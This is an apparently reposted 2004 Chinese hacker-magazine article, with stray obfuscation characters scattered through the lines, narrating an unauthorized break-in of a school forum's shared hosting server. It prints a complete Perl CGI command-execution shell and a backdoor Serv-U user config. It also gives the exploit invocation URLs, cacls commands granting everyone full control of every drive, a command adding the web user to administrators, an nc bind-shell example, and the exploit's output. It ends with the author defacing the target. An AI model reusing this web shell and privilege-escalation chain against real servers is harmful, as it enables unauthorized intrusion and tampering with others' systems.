剑走偏锋——灵巧的旁注攻击
# y. U" E- ?9 d! `本文作者:angel
& N& Q O g2 x3 }7 u文章性质:原创
5 n; A( ?4 j, M' L发布日期:2004-11-09
' W1 `+ b7 F! X% q注意:
9 M7 M. G" z! {: Y& @( ~( `本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。) d2 N% u" Q0 A, \+ }# c
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& j' @3 f, h& s0 f
8 t& q: J9 m4 _8 u. S1 g
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" ~6 }. ]5 v. y9 ~* n
% d1 l; f2 S4 ]) B" ` 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
! F; c% K8 c! E, }# p* u' \6 |# \4 G G5 i6 g# ^; A% n
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. z, L0 x f2 Y# F' u. u/ R
- t7 B- X& O. D( Y0 c* W5 f/ Q 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 . s) I/ i5 j6 n) R! s L( r
( s+ ]7 G. Q+ K% i+ C0 | 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
& u. \% [! Z( h
4 h# G- c6 r8 H5 f& x* r 没有目的的跳转目录着…… $ F E, p) Y4 u% B
3 L; i5 G y& N' n: r2 S$ P 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
" R( ^! s7 s, j$ C7 u& J+ p$ H9 H
4 v' a% o; i$ N 结束了吗?不,我试着 FTP 一下: 0 U0 C8 o8 i5 d# M) l' H' \6 i4 |
* m/ T! A' r) }# V3 MMicrosoft Windows 2000 [Version 5.00.2195]
! b( Y" Q$ s# B' `8 U(C) 版权所有 1985-2000 Microsoft Corp.
N; C( e& H& j. d W; d/ K2 |
0 r& m2 S9 Y5 a" H6 _C:\Documents and Settings\Administrator>ftp www.school.com7 G5 C" H0 E" W! K% J' g6 e
Connected to www. school.com. 2 b. H' Z( [& e8 [2 e) t
220 Welcome to FTP Server...
* ^, X; o' }9 q9 h" k- H- u( A: g3 WUser (www.bjtrq.com:(none)):
# n9 C% Z' e8 O2 b. n331 User name okay, need password.
% E$ H Q8 A9 M) s: zPassword:
1 {( O( A) [( h) ]/ C- x) Z" F. E530 Not logged in. 6 l9 q, m. d& {3 ]4 }( d, X
Login failed. 9 Q9 C% A( N6 l/ r& m2 y
ftp> bye # i j2 g5 k: n! M3 l! H3 v; S
221 Goodbye!
5 g5 H0 o4 b1 x0 s& m; I
! n6 {7 w, D4 C2 M( j0 y$ w( a4 y+ m" ^) e4 M) {
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' l/ K: s( {' Q0 p, W
6 L( q9 O5 z3 u$ ^/ K, p 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
4 G3 Z8 v4 w u' S" k
. Q E9 i/ }" R3 EApplication Data
/ J; V& ]( @; D# f* |& A! x! ADocuments
6 W8 |; g+ b+ H0 UDRM5 L h4 z+ [0 O! G9 [
Favorites9 ~& a5 B G, e6 h- [
Templates$ {4 e+ \7 c) B+ g. q- }) h& _
「开始」菜单
$ [5 G" { v. \8 j5 |2 v桌面$ L/ X7 {6 e: K: |! {9 k5 M
/ o" c1 I3 ~. c3 ]. @0 f
* K0 L- a3 b3 k0 J
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
Q$ O+ k- ~8 ^7 J! n4 E$ f* ]* _( z0 T
ActiveState ActivePerl 5.8
) r* p* D" q- D$ d3 `1 T( r6 OAdministrative Tools8 P- [& L" r* s2 G/ K
Deerfield.com2 F5 J' [# c. Z; N! H$ d
DTemp3 w) A7 G h+ c9 e, P
IPSentry7 c& W4 J1 ~+ X( S) x
MBM 5
t6 K) U' b# |8 @NetMeter; H- v7 A5 T% T. T% m. o1 q) S
Network ICE5 ` x2 \5 \, e$ n! g
Persits Software AspEmail
L; m1 C$ W) nPersits Software AspJpeg; P# i& u$ W$ Q4 a/ r" T
Serv-U FTP Server
* r, |$ U3 _2 S, FSymantec Client Security, q! v* I8 Y" Y; a6 f( n( t9 _3 Q
Windows 优化大师/ w; P: m( t8 T& ]( m6 g
WinRAR" S, I6 T7 q+ z$ E. B* J
启动5 k/ e2 |: G' O" K% M( K
管理工具
% O+ {3 A4 @5 t附件" K/ d; [5 J9 A$ @1 f
7 g) p1 K; C& M; Y' @, ^4 u, W; v. N, B
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
$ d1 O; x; R) s/ s
/ Y7 u# t$ t/ K& Q; P 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
- i& j0 S4 N0 j0 s6 t+ x4 a
% f% z3 ]6 V8 G1 f1 v3 i7 DUser281=angel|1|0 . b2 }- o& l' v
+ D2 a4 X7 [% |. y/ U/ y' O! O
) c2 S; y8 w9 z& l( _ I9 } 然后加上 4 V) K9 J+ r& z: D# M: `- x2 p
3 y5 m) e A# _5 q2 l3 T9 K* u! }
[USER=angel|1]
' b5 a; _- W# a* v5 UPassword=ng98F85379EA68DBF97BAADCA99B69B805
7 \5 ^: m" S- wHomeDir=D:\websites
% ?; R" ^. o. ]/ R3 k/ `% `! ERelPaths=17 n9 V3 P% W8 d: \. \
TimeOut=600
, T. Y5 y7 d5 E/ d0 u) q) vMaintenance=System3 ?, L. E) Z/ }6 H6 |
Access1=D:\websites|RWAMELCDP1 [( f5 h, n" {7 L0 o# k# o- f s
SKEYValues=
/ {8 o1 J0 H8 A% h' G
3 q$ F' J" b9 W8 `9 h8 T$ N
( c: A3 B- z5 g$ ~4 N, c 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ; K- D, Z$ T: |- I& c4 x' y4 Y
% Y0 F! N1 j, O* z/ |) }$ X
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 0 T0 d& ~. i# j
5 L' |% \1 j" U& _2 u
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
$ N$ Y1 n3 }7 M/ D& r
5 S$ {9 n1 y% g( l! q2 l- N0 R$ M 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , X, R7 ^* f5 e# E; Z- G
4 t4 q/ M( l. d% G" q, y#!/usr/bin/perl
. ]2 V3 [7 ?/ w$ h/ K7 Rbinmode(STDOUT);
! C: m7 u* i% z3 t/ |syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);8 c2 p6 q! H( A- ^' M- p+ R
$_ = $ENV{QUERY_STRING};
6 P r0 ^& B; j. d- ?s/%20/ /ig;% Y1 v" Q# _ X! ~* o A* a! M
s/%2f/\//ig;
4 A3 h/ W- a# k* \$execthis = $_;1 s9 K5 q) J S: `5 |
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
. w$ C0 p7 Q8 O( q2 Nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
% v0 i3 x- V5 Q a. F$ q5 Vsystem($execthis);
1 V) q$ J% |. X: W+ I! Osyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);! D9 \, ` F' K# W
close(STDERR);6 O# X2 l8 ^" Q5 S" ^0 l# z1 }
close(STDOUT);. W- a0 k3 j. c" Y; F' k5 g2 Z2 m$ F& }5 x
exit;
9 @) S2 B! s, r5 N* e# Z7 B
- }( b) [% T% Y" R- v: D) q7 D' s% { F4 o
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
$ v! J) P$ G0 R- c7 w2 z
' v; w9 I4 E2 S' I 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
- ^4 T( d5 o! P/ m# J' W6 N3 w8 c4 M9 @3 [8 I5 |/ D- i/ S
http://anyhost//cmd.pl?d:\user\bin\su.exe
9 F! U7 _! X, H* t) p
- |* M* j: T! M! Z. C4 |; T
, d0 D9 ~$ Z& S; Z 返回: 8 M* F) ~4 u! v, O) s' m, z4 O
) L, V) @5 D/ j
Serv-u >3.x Local Exploit by xiaolu 8 H% R) a0 z3 `3 c- J w5 i2 p% U s
8 Y; V" y2 y+ Y. I
USAGE: serv-u.exe "command" 2 M6 {* O! B( x- R
8 R& M5 U" T% U' |/ u5 tExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
6 d5 d q6 r; T# y" u7 R' O0 u $ h% M: e/ Z8 N( N
h3 T5 ^; w5 J& A: u O: o0 V% O
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 2 }8 p! S/ w* C
. m' F& }+ a+ H8 ~* \$ khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 1 c, N& I6 b. R' [
( ^9 i7 f k. X9 yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
; u! b/ K4 { @: q' c/ }8 i8 ^3 ^0 a5 p6 x, ~( W3 ~/ Y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
& u5 M1 B) Z( S6 P
' ^& c- P1 F, g9 ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
: S2 ^" T! S3 d" \7 E+ l
+ |# v' E7 t0 K8 [: P4 W$ x& r: H9 \
返回下面的信息,就表示成功了!!!
8 [8 j' N& m* y5 y) O1 C+ W+ a5 t5 u4 n# F
Serv-u >3.x Local Exploit by xiaolu
$ m$ e. C1 X( ` D8 E+ y$ y' }; l: N# h
<220 Serv-U FTP Server v5.2 for WinSock ready...
% ^& m+ A/ U" \- A; e" }3 @2 e* m# d
>USER LocalAdministrator
; I, d: g$ |( T- B' z$ N* |$ B m7 ?$ E4 m
<331 User name okay, need password. . n: t* m8 w( i' p0 m+ q4 a& r2 Z
; _ k) F# J( g9 }' q; Y0 a& k******************************************************
9 E$ ^# O8 Y3 q! y7 c; S4 G0 @+ v
; K' m: l/ @8 f2 v8 Y; `' ]2 O>PASS #l@$ak#.lk;0@P $ l7 w) V* m+ r! r; V
, i- A9 ?! K( c) o2 U. ~ N8 K<230 User logged in, proceed.
% _) {! C: h! d5 [! p8 n4 H: R4 ~" q" f4 Z+ w
******************************************************
' @: L3 ~9 P8 g# ?3 f+ o5 X+ _; k( M* ^ P0 y) h
>SITE MAINTENANCE
2 a# V4 |; Q1 A2 z
2 O% O/ p) X( Z& \****************************************************** 6 e! J7 B+ P9 C. N5 {* e
3 T6 ~/ ^3 s+ Q. ~[+] Creating New Domain... , x( L+ o, a1 h5 ~: Z. z$ O
/ C1 k; R# a' J( `) d* I; {
<200-DomainID=2
+ y0 H- V5 r3 D( g) N7 v2 z6 L( c" q( B) j
<220 Domain settings saved
$ C' N% h# j& x, R2 P) ^+ f5 k1 _& }5 b8 U! s5 z' Y
****************************************************** " j+ {, g1 O, R' r$ o2 x& `, M
( ~9 F# C* w3 W6 O
[+] Domain xl:2 Created # p* e( g5 G: m: X& q. N; M2 d
# T! F9 }) l5 I9 c- {[+] Creating Evil User j5 s$ B% Y. G: C8 R
- U' p$ M7 F+ h) u0 C k
<200-User=xl ) r4 j, F3 Z2 K
$ e8 ~ E2 c, B1 Y& \9 ? U+ B
200 User settings saved
: t; N3 I% a' r* I0 V- U+ n: ~
0 ~( B/ F1 ]" Y% t; O# U****************************************************** 3 L- f4 a* ~) g# j* x
d& G) y0 V! T" @
[+] Now Exploiting...
& K% A3 ]; n& E2 q4 Q0 ]
" o( T$ o0 m; T" q>USER xl 4 b+ [! Q' h% Z4 Z
) E' ]/ p/ _; X1 {! a
<331 User name okay, need password. / V8 ~4 \( J) V. ]+ n! U5 r
: M: q3 u/ Q/ B! H* v****************************************************** 5 }" A1 X3 N) E* s$ e. P
: m- {3 O, @9 N. J
>PASS 111111
+ m7 ~& y; \$ Z' b: F
9 R) p" h. m4 R* K- f<230 User logged in, proceed. / \! O/ q$ e4 t) X6 B
2 K' w8 L$ s+ {1 D) h9 s2 I Y. J* k
****************************************************** ! p& m y4 n" c1 k* Z+ K0 E# D8 x0 [+ j
; i i3 M1 M9 {. Y# i N L! s
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
, j7 j' ]* {7 B+ ]$ Z; r+ V
6 g/ ?! u/ h1 x+ _<220 Domain deleted
+ ?2 d8 ]3 O3 X+ p3 b$ d- D
5 Q9 h# P8 W: D8 G2 O" ~****************************************************** : k# Z5 f2 Y; z( {9 ^3 ?( A. q F
; Y) O* V1 M, x8 n3 a ], U: I' T2 f2 R6 p
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 2 M# F4 }& E6 W9 a
: `( @% z1 g, s! d( t4 L. P5 Khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
9 K% C; U0 v7 G: D6 H' B2 u 8 Y" C, Z, t* D. |* ^# g" w$ y# y* q
& t/ I8 e6 M' M( j7 n
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 . X" }# d0 o& \5 p7 E
2 \) d+ i4 s- Y* S8 {2 }6 X 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
, K+ E5 _( E r) X6 D , I' ^9 F% A" H* ?( z b
. U% [9 a) h, d3 C5 r+ \ |